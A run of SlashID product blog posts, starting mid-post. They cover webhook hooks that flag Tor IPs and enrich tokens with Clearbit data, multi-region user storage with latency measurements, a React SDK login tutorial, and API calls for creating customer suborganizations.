We'll use the same webhook as in the example above, but now we need to attach it to the token_minted synchronous hook:

curl -X POST --location 'https://api.slashid.com/organizations/webhooks/16475b49-2b12-78d7-9012-cfe0e174dcd3/triggers' \
--header 'SlashID-OrgID: <ORGANIZATION ID>' \
--header 'SlashID-API-Key: <API KEY>' \
--header 'Content-Type: application/json' \
--data '{
    "trigger_type": "sync_hook",
    "trigger_name": "token_minted"
}'

We can process the webhook payload as follows (error checking removed for brevity):

...
    jwks_client = jwt.PyJWKClient("https://api.slashid.com/organizations/webhooks/verification-jwks", headers={"SlashID-OrgID": "<ORGANIZATION ID>"})
    webhookURL = ""

    request_data = request.get_data()
    header = jwt.get_unverified_header(request_data)
    key = jwks_client.get_signing_key(header["kid"]).key
    try:
        header = jwt.get_unverified_header(request_data)
        key = jwks_client.get_signing_key(header["kid"]).key
        token = jwt.decode(request_data, key, audience="<ORGANIZATION ID>", algorithms=["ES256"])

        if token['target_url'] != webhookURL:
            raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=f"Token {token} is invalid: {e}",
        )
    except Exception as e:
        raise HTTPException(
          status_code=status.HTTP_401_UNAUTHORIZED,
          detail=f"Token {token} is invalid: {e}",
      )

    # Now the request has been validated, let's extract the IP address

    ip_address = token['request_metadata']['client_ip_address']
    print(f"Ip address {ip_address}\n")

    # We use the SlashID external credentials to store the Seon API key
    seon_key = requests.get("https://api.slashid.com/organizations/config/external-credentials/856b7dec-d2c3-41ab-a151-c615925433e0", headers={"SlashID-OrgID": "<ORGANIZATION ID>", "SlashID-API-Key": "<SLASHID KEY>"})
    seon_key = seon_key.json()
    seon_api_key_header = seon_key["result"]["json_blob"]

    r = requests.get(f"https://api.seon.io/SeonRestService/ip-api/v1.1/{ip_address}", headers=seon_api_key_header)
    seon_score = r.json()

    ## Check if the IP address is a known Tor IP address and if so, deny the request
    if seon_score['data']['Tor']:
        return HTTPException(
          status_code=status.HTTP_401_UNAUTHORIZED,
          detail=f"Bearer token {token} is invalid: {e}",
      )

Allowing requests through but enforcing step-up auth for Tor Addresses

We follow the same procedure as above, but instead of returning a 401, we return a custom claim to add to the JWT token that's returned to the frontend:

...

return {
  "tor_address": True,
}

The JWT returned to the frontend will contain a custom claim tor_address and upon token inspection we can use the <StepUpAuth> component to force another factor if the user's IP comes from Tor.

Augmenting the token with marketing intelligence data

We can use the same approach as above to enrich the JWT token with marketing intelligence data on the lead - we'll use clearbit for this (error checking removed for brevity):

...
    jwks_client = jwt.PyJWKClient("https://api.slashid.com/organizations/webhooks/verification-jwks", headers={"SlashID-OrgID": "<ORGANIZATION ID>"})

    request_data = request.get_data()

    try:
        header = jwt.get_unverified_header(request_data)
        key = jwks_client.get_signing_key(header["kid"]).key
        token = jwt.decode(request_data, key, audience="<ORGANIZATION ID>", algorithms=["ES256"])
    except Exception as e:
        raise HTTPException(
          status_code=status.HTTP_401_UNAUTHORIZED,
          detail=f"Token {token} is invalid: {e}",
      )

    # Now the request has been validated, let's extract the user handle (email address/phone number)
    handle = token['authentications'][0]['handle']['value']
    print(f"User handle {handle}\n")

    ip_address = token['request_metadata']['client_ip_address']
    print(f"Ip address {ip_address}\n")

    # We use the SlashID external credentials to store the Clearbit API key
    clearbit_key = requests.get("https://api.slashid.com/organizations/config/external-credentials/856b7dec-d2c3-41ab-a151-c615925444b0", headers={"SlashID-OrgID": "<ORGANIZATION ID>", "SlashID-API-Key": "<SLASHID KEY>"})
    clearbit_key = clearbit_key.json()
    clearbit_api_key_header = clearbit_key["result"]["json_blob"]

    ## Retrieve the person by IP address + email address
    r = requests.get(f"https://person.clearbit.com/v2/people/find?email={handle}&ip_address={ip_address}", headers=clearbit_api_key_header)
    clearbit_response = r.json()

    return {
        "inferred_company": clearbit_response['employment']['name'],
        "inferred_seniority": clearbit_response['employment']['seniority'],
        "inferred_title": clearbit_response['employment']['title'],
    }

The token returned in the frontend will contain the inferred_company, inferred_seniority and inferred_title custom claims. You can then customize the UI flow depending on the persona.

Asynchronous vs Synchronous hooks

As discussed, SlashID exposes a number of events that can be hooked through webhooks. The examples above can also be executed asynchronously using the PersonCreated_v1 (registration) or AuthenticationSucceeded_v1 (authentication) events to collect analytics or trigger workflows (e.g.: an email campaign).

Conclusion

In this brief blog post, we've shown how you can combine multiple features of SlashID to make informed decisions about your users - whether it's a custom conversion flow depending on the buyer persona, or a stronger authentication requirement for a potential bot.

We’d love to hear any feedback you may have. Please contact us at contact@slashid.dev! Try out SlashID with a free account.

SlashID: Building a globally distributed Identity Platform

Vincenzo Iozzo, Robert Laszczak — Mon, 19 Feb 2024 00:00:00 GMT

What do we mean by global distribution?

Global distribution means that you can store user data in any region where our cloud providers (currently GCP, more to come soon) are present.

Whether you want to store all or part of your userbase in Japan, Poland, Australia, or any other region, we have you covered at no extra fee and without a complex multi-tenant, multi-dashboard setup.

A large portion of our engineering team cut their teeth at CrowdStrike where ThreatGraph processes several trillion events per week, so we understand that building large-scale cloud systems is a complex and challenging task. For this reason, we have spent over 18 months building and stress-testing our infrastructure.

The SlashID multi-region environment has been live in production for over a year, with more than 3 million users across different regions and several hundred organizations.

Having evaluated several options including large-scale distributed databases like CockroachDB and PlanetScale, we believe our approach is unique and provides the lowest possible latency.

In a future blog post we'll discuss the technical architecture in more detail but, for now, let's see why this matters and how to use it.

Why does global availability matter?

Regulatory compliance

While not all user data is subject to data residency requirements, the regulatory environment is becoming progressively more stringent on data residency and protection.

A non-exhaustive list of countries that enforce data residency requirements for some user data/PII includes China, Russia, Germany, India, Brazil, Australia, Canada, France, South Korea, and Turkey.

Beyond current regulatory requirements, more and more customers prefer to keep their data close to their geography to future-proof their infrastructure in case of further regulatory or legal pressure.

Specific sections of our documentation discuss our approach to compliance:

Availability, performance, and disaster recovery

Authentication and authorization are part of the most critical application paths including:

Logging in to your application
Checking user access to a specific resource
Online JSON Web Token (JWT) verification and session management
Retrieving and storing user data

End-users will immediately notice an outage in these services. If your identity provider is down, your entire application becomes unavailable.

We built SlashID’s identity and data storage around the principles of availability, performance, and disaster recovery from day 1. In this blog post, we'll cover:

The drawbacks of single-region deployments
SlashID's developer experience for handling multi-region

In a future blog post, we'll discuss the technical aspects of how we built our infrastructure.

The drawbacks of single-region deployments

First, let's take a look at the downsides of using a single-region deployment.

Latency impact

One of the biggest downsides of a single-region deployment is the increased latency for end-users.

Users have become accustomed to edge deployment and low latency whenever they use web apps and services. They expect the same level of performance when it comes to authentication. However, legacy Identity and Access Management (IAM) solutions with single-region deployments are affected by significant latency.

But what does ‘significant’ mean here? To give you a better perspective, we've measured cross-region latency across multiple locations.

We run this test using netperf, a popular benchmark tool that can be used to measure the performance of many different types of networking. All machines except one were deployed in the Google Cloud Platform (GCP). One machine was deployed in Digital Ocean in Frankfurt to simulate cross-data center calls within one geographical location.

Data Center	Frankfurt (GCP)	Frankfurt (Digital Ocean)	London	Montreal	Los Angeles	Sydney
Frankfurt (GCP)	x	0.95ms	13.25ms	87.56ms	152.84ms	281.65ms
Frankfurt (Digital Ocean)	1.09ms	x	12.37ms	89.00ms	153.06ms	262.35ms
London	12.99ms	13.7ms	x	77.46ms	139.68ms	267.06ms
Montreal	88.57ms	89.16ms	78.13ms	x	75.52ms	199.45ms
Los Angeles	152.46ms	151.50ms	142.34ms	75.11ms	x	138.27ms
Sydney	281.33ms	265.31ms	272.41ms	199.69ms	138.26ms	x

</div>

In the best-case scenario, an HTTP call between Europe and North America (London to Montreal) adds 77 ms of latency per request. The numbers reported in the table above show the overhead of a single cross-region call: each request back and forth incurs that penalty on top of its normal execution time. Latency scales linearly with the number of requests, so performance deteriorates further when multiple calls are executed.

For instance, let's consider a scenario where a request is made between data centers in Europe (Frankfurt) and the West Coast (Los Angeles). In this scenario, each request incurs 152ms of overhead.

While it may not look like much, in practice, when you also account for the execution time of the request, you'll often exceed 200ms. It is well documented that latency above 200ms is perceived by the user and contributes to user drop-off.

The performance impact also becomes evident when a user persists in one region and travels to another.

Risk of regional outages

Last year alone, the biggest cloud providers suffered from multiple major outages, often affecting entire regions. US-EAST-1 AWS (the biggest AWS US region) experienced a 6-hour outage. A flood tanked a GCP region for 12 whole hours. Most companies using AWS and GCP to host their services were not prepared for these incidents and, as a result, suffered global outages for many hours. You might have noticed several tools and products not working during those days.

It's hard (and beyond the scope of this blog post) to quantify the financial and reputational damage those products suffered during the AWS and GCP outages. However, the positive outcome is that it triggered multiple discussions about the importance of having a strong multi-region strategy. Unfortunately, multi-region deployment is not a quick and easy fix: it is hard to get right and, when not implemented from the get-go, it often requires a lot of architectural changes.

Regional outages of core infrastructure have occurred in the past. They will undoubtedly occur again. Using external services (e.g., identity providers) that are resilient to such outages should be part of every solid multi-region strategy.

Compliance

As mentioned earlier, depending on the countries you operate in, you may be subject to data residency or protection laws requiring user data to be localized wholly or in part in a given region.

A single region deployment model would require you to spawn a separate instance of your services for each country you operate in, making implementation, customer support, and analytics significantly more challenging.

SlashID: Global deployment with the ease of single-region deployment

We built SlashID as a global identity platform deployed and replicated across GCP's regions to achieve best-in-class resiliency with the lowest latency and highest availability.

Our infrastructure can bootstrap a new region in approximately 24 hours and we are present by default in 5 regions.

We want to give you the best developer experience, which also means handling all cross-region concerns, so you won’t have to. As such, you can access cross-region functionality with the same abstraction as common single-region APIs. Unless specified, users will automatically be assigned to the region closest to them, minimizing latency and maximizing performance.

We designed our system so that each region is autonomous. This reduces the chance of a global outage. If there is no connectivity between regions (due to network issues or regional outage), all regions will keep on working independently, and will eventually synchronize the data after network connections are restored.

How does it work in practice?

By default, when a user is created, their data will be stored in the region geographically closest to the request to our API. Data residency is transparent for you: you can store and retrieve data without thinking about where it's stored. SlashID will either read the data directly from the region where it's stored or use a copy of the data replicated in a closer location.

You can try it yourself with the HTTP requests we saw earlier:

curl -L -X POST 'https://api.slashid.com/persons' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
  "handles": [
    {
      "type": "email_address",
      "value": "user@user.com"
    }
  ],
  "attributes": {
    "end_user_no_access": {
      "is_vip": true,
      "secret_note": "this person is our VIP"
    },
    "end_user_read_write": {
      "address": {
        "city": "New York",
        "country": "USA",
        "postal_code": "10001",
        "street": "123 Main Street"
      },
      "credit_card_number": "1234-1234-1234-1234"
    }
  }
}'

The response will contain the person ID and the person's region:

{
  "result": {
    "active": true,
    "person_id": "064d221c-b5cb-7c37-a908-0120768e52f5",
    "region": "us-iowa",
    "roles": []
  }
}

As shown earlier, even if requests are traveling between data centers in the same geographical location, the latency overhead is nominal (~1 ms). Thanks to that, you can call the SlashID API with a latency similar to calling your internal API.

If you want, you can also specify where the person's data should be stored explicitly. For example, let's create a person in Japan:

curl -L -X POST 'https://api.slashid.com/persons' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
--data-raw '{
  "handles": [
    {
      "type": "email_address",
      "value": "user-in-japan@user.jp"
    }
  ],
  "region": "asia-japan"
}'

{
  "result": {
    "active": true,
    "person_id": "064d2234-79b9-74f4-a810-061d691e84dd",
    "region": "asia-japan",
    "roles": []
  }
}

To achieve a multi-region setup with other Identity Providers, you must configure a separate project or organization for each region. In such a case, data retrieval and synchronization become difficult and error-prone: you will usually need to know which organization or project must be used to query a particular user. In the worst case, when you only have a user ID and don’t know where the data resides, you will need to iterate over all regions to find it.

When using SlashID, you can retrieve a person's data without thinking about where it's stored:

curl -L -X GET 'https://api.slashid.com/persons/064d2234-79b9-74f4-a810-061d691e84dd' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>'

{
  "result": {
    "active": true,
    "person_id": "064d2234-79b9-74f4-a810-061d691e84dd",
    "region": "asia-japan",
    "roles": []
  }
}

The same applies to user attributes:

curl -L -X GET 'https://api.slashid.com/persons/064d2250-acf8-74bd-a308-e4ecda7c8bf4/attributes' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>'

{
  "result": {
    "end_user_no_access": {
      "is_vip": true,
      "secret_note": "this person is our boss's friend"
    },
    "end_user_read_write": {
      "address": {
        "city": "New York",
        "country": "USA",
        "postal_code": "10001",
        "street": "123 Main Street"
      },
      "credit_card_number": "1234-1234-1234-1234"
    }
  }
}

We've also optimized for the corner case where at a point in time a user is far from the region where their data is stored. We'll describe that in detail in an upcoming blog post focused on the multi-region architecture.

Replicating configuration

The other burden of manually dealing with multi-region deployments is handling proper configuration. For instance, messaging templates, authentication and authorization policies, and SAML/OIDC providers.

Maintaining separate projects or organizations per region adds significant configuration overhead. Additionally, when you maintain separate projects or organizations for each region, you must synchronize their configurations.

In SlashID, all organizations are global by design. There is no need to have an organization or a project for each region. You update the configuration in the same way as you would for a single-region organization. All the complexity of replicating organizations globally is handled by SlashID.

curl -L -X PATCH 'https://api.slashid.com/organizations/config' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>'
--data-raw '{
  "token_duration": 86400
}'

By default, we store the configuration in the region from which the HTTP call originated synchronously. Other regions are updated asynchronously.

Sometimes, knowing that the configuration was stored in a single region is not enough and SlashID provides the ability to wait synchronously for updates to be propagated. It may be useful when you want to make sure that the configuration is stored in all regions before you proceed with another configuration update. It's especially important when your product has a global reach.

You can choose to wait until the configuration is stored in all regions, by using SlashID-Required-Consistency: all_regions header:

curl -L -X PATCH 'https://api.slashid.com/organizations/config' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: <ORG_ID_VALUE>' \
-H 'SlashID-API-Key: <API_KEY_VALUE>' \
-H 'SlashID-Required-Consistency: all_regions' \
-H 'SlashID-Required-Consistency-Timeout: 15' \
--data-raw '{
  "token_duration": 86400
}'

While global configuration replication typically completes in less than half a second, it can sometimes take a few seconds.

If you decide not to wait for global replication, our model propagates the organization structure with eventual consistency.

The UI

Lastly, you can see all your users in the same dashboard (with role-based access control for different regions if compliance is a priority) without switching between multiple systems or tenants to make analytics and customer support easier.

What's next?

If you haven't tried it yet, we recommend you create a free account in SlashID and see for yourself what our API and SDK can do.

Explore our replication documentation to dig deeper into the technical details of our replication model.

If you like our solution and are considering migrating your identity system, test it out with a free account or reach out to us for any questions or comments at contact@slashid.dev.

Building a React Login Page Template

Ivan Kovic, Vincenzo Iozzo — Sun, 16 Jul 2023 00:00:00 GMT

Quickstart

In this tutorial, we’ll build an essential (but functional) React application to explore the capabilities of the SlashID React SDK. If you want to check out the SlashID React SDK in ~15 minutes, this tutorial is for you. You can also find the complete source code of this tutorial in our CodeSandbox!

Goal

You will build a simple UI that handles user authentication and user data storage using the SlashID React SDK. Along the way, we will touch several concepts that are key to understanding our SDK, such as Organizations and Attribute Buckets.

Prerequisites

Before starting, you should sign up to SlashID and create your first organization and retrieve the ORGANIZATION_ID, required to complete this tutorial.

If you don’t have them already, now’s the time to install:

Node.js version 16.0.0 or greater
npm 7 or greater
A code editor of your choice

Like our Core SDK, all examples in this tutorial use TypeScript.

SlashID ❤️ TypeScript!

1. Set up the project

First, create a new React app. We’ll use Vite to bootstrap the project:

npm create vite@latest slashid-demo -- --template react-ts
cd slashid-demo && npm install

Now, run the dev server:

npm run dev

You should now have a React application running on your local machine.

Last, let’s do some cleanup in src/App.tsx:

function App() {
  return <div>It works!</div>
}

export default App

Also, feel free to grab this CSS snippet:

:root {
  font-family: Inter, system-ui, Avenir, Helvetica, Arial, sans-serif;
  line-height: 1.5;
  font-weight: 400;
  color: #213547;
  background-color: #e5e5e5;
}

body {
  margin: 0;
  display: flex;
  place-items: center;
  min-width: 320px;
  min-height: 100vh;
}

#root {
  max-width: 1280px;
  margin: 0 auto;
  padding: 2rem;
  display: flex;
  justify-content: center;
}

.formWrapper {
  width: 390px;
  margin: 32px;
}

.storage {
  box-sizing: border-box;
  background-color: #ffffff;
  background: #ffffff;
  border: 1px solid rgba(20, 32, 73, 0.06);
  box-shadow: 0px 12px 24px rgba(29, 25, 77, 0.03);
  border-radius: 32px;
  padding: 16px;
  min-width: 390px;
  padding: 32px;
}

.storage form {
  display: flex;
  flex-direction: column;
}

.storage form > input {
  margin-bottom: 16px;
  padding: 12px 16px;
  font-size: 16px;
  line-height: 122%;
  background: rgba(20, 32, 73, 0.01);
  border: 1px solid rgba(20, 32, 73, 0.06);
  border-radius: 12px;
}

.storage form > button[type='submit'] {
  margin-bottom: 8px;
  padding: 16px 22px;
  font-size: 16px;
  font-weight: 600;
  line-height: 122%;
  background:
    linear-gradient(0deg, rgba(15, 14, 27, 0.1), rgba(15, 14, 27, 0.1)), #2a6aff;
  border-radius: 12px;
  outline: none;
  border: none;
  color: #ffffff;
}

At this point your src directory should contain the following files:

src
|-- App.tsx
|-- index.css
|-- main.tsx
`-- vite-env.d.ts

Great, you’re now good to go! Let’s build something cool using that SlashID magic.

2. Initialize the SDK

First, install the SlashID React SDK.

Since the React SDK is built around the Core SlashID SDK, it must also be installed as a peer dependency.

npm install @slashid/slashid @slashid/react

Once the dependencies are installed, we need to wrap our application with <SlashIDProvider>. This ensures that all the components have access to the SlashID Context, most importantly the sid object, which is our stable reference to the Core SDK. Make sure to check the documentation for more details!

You must request a demo SlashID account in order to get your ORGANIZATION_ID (See Prerequisites).

import ReactDOM from "react-dom/client";
import { SlashIDProvider } from "@slashid/react";
import App from "./App";
import "./index.css";

ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
  <React.StrictMode>
    <SlashIDProvider oid="ORGANIZATION_ID">
      <App />
    </SlashIDProvider>
  </React.StrictMode>
);

Your application should now be connected to SlashID through the Core SDK. To verify it, you can try accessing it through the useSlashID() hook included in the React SDK.

import { useSlashID } from '@slashid/react'

function App() {
  const { sid } = useSlashID()
  return <div>{sid ? 'It works!' : 'SDK is being loaded….'}</div>
}

export default App

Make sure that the SlashID SDK loads successfully before moving any further!

3. Add Login functionality

Now, let’s add login capabilities to our application. The React SDK exposes a ready to use configurable Login Form component for this purpose.

The Form comes with <ConfigurationProvider /> to easily customize some UI properties, such as theme and form factors. You can read more about SlashID Login Form customization here. You can choose from a variety of authentication factors, such as Passkeys (WebAuthn), SMS or SSO with third party providers like Google or Facebook. Let’s start with a basic onboarding form setup, choosing to only allow login with email via magic link.

import React from "react";
import ReactDOM from "react-dom/client";
import { SlashIDProvider, ConfigurationProvider } from "@slashid/react";
import { Factor } from "@slashid/slashid";
import App from "./App";
import "./index.css";

const factors: Factor[] = [{ method: "email_link" }];

ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
  <React.StrictMode>
    <SlashIDProvider oid="ORGANIZATION_ID">
      <ConfigurationProvider factors={factors}>
        <App />
      </ConfigurationProvider>
    </SlashIDProvider>
  </React.StrictMode>
);

SlashID React SDK also provides first-class UI components to help you render different flows for authenticated and not authenticated users. Let’s use those as well!

import { LoggedIn, LoggedOut, Form } from '@slashid/react'

import '@slashid/react/style.css'

function App() {
  return (
    <div>
      <LoggedOut>
        <div className="formWrapper">
          <Form />
        </div>
      </LoggedOut>
      <LoggedIn>You're authenticated!</LoggedIn>
    </div>
  )
}

export default App

Now you can authenticate into your React app using the email address associated with your SlashID organization.

When you click the Continue button, you should receive an email from SlashID with a magic link. Use the link to complete the authentication process. After that, return to your React application - you should be authenticated now!

Make sure that you can authenticate using your email before you proceed!

4. Store authenticated user data

You can build a simple key-value storage for authenticated users using SlashID’s Data Vault. The useSlashID() hook exposes the user object: in the first instance it’s undefined, but once you authenticate, it becomes your interface to SlashID Attributes and Multi-Factor Authentication APIs.

You can learn more about Data Vault and Attribute Buckets on our developer portal 🤓

Before implementing the <Storage /> component, let’s make development with SlashID a little easier. <SlashIDProvider /> stores the User token in memory by default. This means you lose the information about the authenticated user every time the page reloads – not the most convenient development (or user) experience. You can override this setting using the tokenStorage prop on the provider.

import React from "react";
import ReactDOM from "react-dom/client";
import { SlashIDProvider, ConfigurationProvider } from "@slashid/react";
import { Factor } from "@slashid/slashid";
import App from "./App";
import "./index.css";

const factors: Factor[] = [{ method: "email_link" }];

ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
  <React.StrictMode>
    <SlashIDProvider
       oid="ORGANIZATION_ID"
       tokenStorage="localStorage"
    >
      <ConfigurationProvider factors={factors}>
        <App />
      </ConfigurationProvider>
    </SlashIDProvider>
  </React.StrictMode>
);

In this way, the user token obtained from a successful authentication will be persisted in Local Storage, and you no longer need to authenticate after each full page reload. Sweet!

Let’s build our <Storage /> component with simple storage capabilities:

import { useSlashID } from "@slashid/react";
import { useEffect, useState, SyntheticEvent } from "react";

function Storage() {
  // User object reference - only available after successful authentication
  const { user } = useSlashID({ oid: "ORGANIZATION_ID" });
  // React state for rendering our attributes stored in Data Vault
  const [attributes, setAttributes] = useState<Record<string, string>>({});
  // Simple form state to enable storing new attributes
  const [newAttrName, setNewAttrName] = useState<string>("");
  const [newAttrValue, setNewAttrValue] = useState<string>("");

  // after authentication, fetch the attributes from Data Vault
  useEffect(() => {
    async function fetchUserAttributes() {
      // getBucket takes in an optional `bucketName | string` argument
      // if not present, it will return the default Read/Write bucket
      const bucket = user?.getBucket();
      // calling bucket.get() with no arguments will return all attributes stored in this bucket
      const attrs = await bucket?.get<Record<string, string>>();

      setAttributes(attrs!);
    }

    fetchUserAttributes();
  }, [user]);

  const addNewAttribute = async () => {
    // store new attribute
    const bucket = user?.getBucket();
    await bucket?.set({ [newAttrName]: newAttrValue });

    // simple refetch logic to re-render updated attributes list
    const attrs = await bucket?.get<Record<string, string>>();
    setAttributes(attrs!);

    // reset the form
    setNewAttrName("");
    setNewAttrValue("");
  };

  const handleSubmit = (e: SyntheticEvent) => {
    e.preventDefault();

    addNewAttribute();
  };

  return (
    <div>
      <main className="storage">
        <h2>Stored attributes</h2>
        {Object.keys(attributes).length === 0 ? (
          <p>Looks like there's nothing in here!</p>
        ) : null}
        <ul>
          {/* display attributes from Data Vault as list items */}
          {Object.entries(attributes).map(([key, value]) => (
            <li key={key}>
              {key}: {value}
            </li>
          ))}
        </ul>
        {/* minimal form for storing new attributes */}
        <form method="post" onSubmit={handleSubmit}>
          <input
            value={newAttrName}
            placeholder="Attribute name"
            onChange={(e) => setNewAttrName(e.target.value)}
          />
          <input
            value={newAttrValue}
            placeholder="Attribute value"
            onChange={(e) => setNewAttrValue(e.target.value)}
          />
          <button type="submit">Add attribute</button>
        </form>
      </main>
    </div>
  );
}

export default Storage;

To ensure that only the data of authenticated users is stored in Data Vault (and to make sure you have access to the user property), you can put the <Storage /> component inside the <LoggedIn> wrapper:

import { LoggedIn, LoggedOut, Form } from '@slashid/react'
import Storage from './Storage'

import '@slashid/react/style.css'

function App() {
  return (
    <div>
      <LoggedOut>
        <div className="formWrapper">
          <Form />
        </div>
      </LoggedOut>
      <LoggedIn>
        <Storage />
      </LoggedIn>
    </div>
  )
}

export default App

Make sure that you can add new attributes to the default bucket with the <User /> component!

Conclusion

Congratulations! You just built your first React application with the SlashID React SDK! Make sure to see the Docs page for a more detailed overview of the core concepts, as well as some in-depth guides. We hope you love SlashID!

Ditch your organizations table

SlashID Team, Vincenzo Iozzo — Tue, 12 Sep 2023 00:00:00 GMT

You can find an example multi-tenancy note-taking application with sharing functionalities using SlashID on GitHub or live preview.

The Problem

Implementing complex identity structures securely is an extremely challenging task and more often than not becomes a textbook example of sunk cost fallacy.

Let’s take a B2B SaaS application as an example. Imagine you are developing an issue tracker application like Jira, let's call it Trackalot. The development journey normally goes something like this:

You start with a simple tag, let’s call it organization, in your users table to group users belonging to different customers, and you embed logic in your app to look up the organization field for conditional rendering and similar. This is looking great – a small database migration and a couple of PRs later and you are done (or so you think)!
Your company is doing great and you start onboarding your first enterprise customer who has a few hundred users. Your product manager comes in and explains that the deal is not going to close unless the customer can specify their own multi-factor authentication (MFA) policy. So now you rush to create an organizations table, refactor all your code to account for the new table, migrate the database again and then write some custom logic to handle the different MFA flows that each customer may have. It’s a fair amount of work but you got this, you crunch a little and deliver!
At this point, you might or might have not gotten the customer from (2) depending on how many sleepless nights you spent writing code. But great news: you now have an organization table and you can extend it easily! Now your product manager comes to you and explains that one of the customers needs custom templates for the magic links sign-in emails. Now you are at a crossroad, do you:
- Create a tenant per customer in your Identity and Account Management (IAM) product/solution. A crippling doubt settles in: How are you going to login users belonging to different tenants? You park the thought for now, thinking “hmm, maybe subdomains”.
- Create a field in the organizations table which links to the custom email template. The problem is that your IAM product doesn’t really support multiple templates per user, so how are you going to send these emails? Firing up your own service to use AWS Simple Email Service (SES)?
- Scrap the IAM product you are using and build all of your identity logic yourself
Eventually you settle on one of these, most likely the first one, and call it victory.
Now your product manager (who’s slowly becoming your work nemesis) comes back to you and says that, actually, what your app really needs is role-based access control (RBAC). So you find yourself wondering:
- Where do you store these roles?
- How do you enforce them?
- Are they per organization or global?
- Should they be configurable or are they fixed?
Your company launches a new feature where users can belong to multiple organizations or workspaces, just like Figma or GitHub. An impending sense of doom settles in:
- How are you going to share these users?
- Do you have to mask the user ID so that different organizations can’t correlate users?
- What about different RBAC roles per org?

This doesn’t even account for: the various vulnerabilities you accidentally introduced while trying to ship as quickly as possible (trust us, they are pretty tough to spot!); the not insignificant user entity reconciliation burden you have now placed on the data science team because you have multiple user tables; and the inability to comply with GDPR and data localization laws that large customers really care about and that will cost you a 7-figure contract.

While this is an overly dramatic narrative, it matches pretty consistently what most companies go through: implementing effective and scalable IAM takes several engineers, several lost deals, false starts and months of development effort. Not to mention long term maintenance as your product features (and your backend architecture) grow exponentially.

Our hope with suborgs is to remove all this undifferentiated complexity and security risk so you can focus on actually implementing the core logic of your app (i.e., the thing you were hired to develop).

Let’s see how this would look if step 0 had been registering with SlashID.

The Solution with SlashID

Now let’s see how this would have gone if you’d started off using SlashID and our suborganizations features.

You need to separate the users of your different customers → This is available out of the box with SlashID suborgs. As a SlashID customer, your company has a SlashID organization, which can have as many child suborgs as you need. Each suborg is independent and fully-featured with authentication and user management, but you still retain control. With just one API call you can spin up a new suborg for each new customer you onboard, each with their own user base.
Your customers have different MFA requirements -> Done! Each suborg has the full suite of SlashID authentication features, including customisable and step-up MFA. You are free to change your individual suborgs’ configuration to suit your customers’ specific needs. By using SlashID you didn’t even need to ship a new feature to close a new deal - it was already there, ready to go.
Your customers want customized templates for authentication emails -> Already done! As above, each suborg has independent configuration, including customizable email and SMS templates, so each one of your customers can have their own branded comms for their end users. Victory is assured.
Role-based access control no longer fills you with fear. Each suborg can have its own set of person groups. SlashID user JWTs have a claim with a user’s groups, and our React SDK has components for conditional rendering and access by group. Or you can use the token claims on your backend to make authorization decisions.
Users shared across multiple organizations? No sense of doom here. By default, each suborg has its own independent user base, with unique IDs per user. However, if you want to add seamless but secure switching between apps, you can do that too: suborgs can be configured to share some information so you get consistent user identity across them.

There you have it - minutes of development work instead of months; well-rested engineers; and you get to stay friends with your product manager.

Jokes aside, we created suborgs after countless conversations with our customers, to respond to the challenges dev teams face when trying to model complex organization structures with their IAM product.

A real world example in 10 minutes or less

Going back to the Trackalot example, how would you implement it with suborgs?

You can find an example multi-tenancy note-taking application with sharing functionalities using SlashID on GitHub or live preview.

You can also find more examples in our documentation.

Step 1: Create a suborg for each customer

Creating a suborg is a simple API call:

curl -X POST --location 'https://api.slashid.com/organizations/suborganizations' \
--header 'SlashID-OrgID: <ORGANIZATION_ID>' \
--header 'SlashID-API-Key: <API_KEY>' \
--header 'Content-Type: application/json' \
--data '{
    "sub_org_name": "Parks & Rec Dept",
    "groups_org_id": "85637a0a-a574-326a-bac3-d1f46d62dbd9"
}'

In this example we are specifying that the suborg should have the same group pool (groups_org_id) as the parent org - this way they can share the same RBAC roles.

This is the response, containing the ID and API key of the new suborg:

{
   "result": {
       "api_key": "wY7gDtUDjxGMdynd6BKaaLojHFE=", // API key of the new suborganization
       "id": "97724371-a0a1-4b93-bf51-6ba2feb1acdf", // ID of the new suborganization
       "org_name": "Parks & Rec Dept", // as in the request
       "tenant_name": “Trackalot" // same as for the parent organization
   }
}

Let’s create another one:

curl -X POST --location 'https://api.slashid.com/organizations/suborganizations' \
--header 'SlashID-OrgID: <ORGANIZATION_ID>' \
--header 'SlashID-API-Key: <API_KEY>' \
--header 'Content-Type: application/json' \
--data '{
    "sub_org_name": "Dunder Mifflin Paper Company",
    "groups_org_id": "85637a0a-a574-326a-bac3-d1f46d62dbd9"

}'


{
    "result": {
        "api_key": "FkImXyWgZhuqTGTh70fXzuI1PMo=",
        "id": "d89e29fc-2693-d3b7-764c-debc9561eea2",
        "Org_name": "Dunder Mifflin Paper Company",
        "tenant_name": "Trackalot" // same as for the parent organization
    }
}

We have built the following org structure:

Now that the Parks & Rec Dept and Dunder Mifflin Paper Company are ready, we are one step closer to helping them avoid those 94 meetings a day with Trackalot.

Step 2: Customize authentication policies

You can use the Organization APIs to customize the behavior of suborgs. So for example, you can change the email template used for magic links by the Parks & Rec Dept suborg with the following call:

curl -X POST --location 'https://api.slashid.com/organizations/suborganizations' \
--header 'SlashID-OrgID: 97724371-a0a1-4b93-bf51-6ba2feb1acdf' \
--header 'SlashID-API-Key: wY7gDtUDjxGMdynd6BKaaLojHFE=' \
--header 'Content-Type: application/json' \
--data '{
    "email_authn_challenge": <EMAIL_TEMPLATE>
}'

This won’t impact the template for Dunder Mifflin Paper Company or any other suborg.

Note how problems (2) and (3) from the scenario above are solved with a single API call vs endless coding, scoping and back and forth with your product manager.

